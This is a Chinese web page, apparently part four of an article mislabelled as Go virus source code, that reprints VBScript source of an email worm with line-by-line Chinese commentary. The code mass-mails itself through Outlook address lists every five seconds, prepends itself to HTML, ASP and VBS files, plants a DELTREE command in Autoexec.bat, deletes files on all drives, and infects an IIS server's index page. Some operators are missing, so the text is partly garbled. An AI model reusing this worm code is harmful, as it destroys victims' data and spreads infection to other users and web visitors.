锐客网

  1. 首页 > 睿知 > it技术 > >

go语言病毒源码 go语言源码解析( 四 )

IT技术心中


set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUWeins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (EaecInt(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUWarrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUWarrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUWeins, Eaec, ""
next
'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满 。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送
end function
sub SearchHTML(Path) '搜索可传染文件的过程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2))0 then exit sub
if Path"E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm")0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染 ， 如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行 。
if Code_Str"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盘删除文件过程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF"vbcrlf"PATH "w1"COMMAND"vbcrlf _
"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中 ， 下次开机时，删除整个硬盘 ， 并没有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlfcodeText
ko.Close
'接着立刻删除其它盘的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x"\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '让系统立刻死机
window.open ""
loop
end sub
sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户
set fi = fso.GetFile(H"\index.htm")
AddHead H"\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程
on error resume next
dim tso, buffer,sr
if f.sizeMAX_SIZE then exit sub '传染大小小于100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7))"SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Strvbcrlfbuffer '插入到文件头
tso.close
end if
else
if mid(buffer, 3, 2)"'@" then
tso.close
sr=w2"user.dll"

推荐阅读


上一篇：遵义专业sap销售电话，遵义dsp开发招聘

下一篇：斗鱼直播新浪，斗鱼直播大厅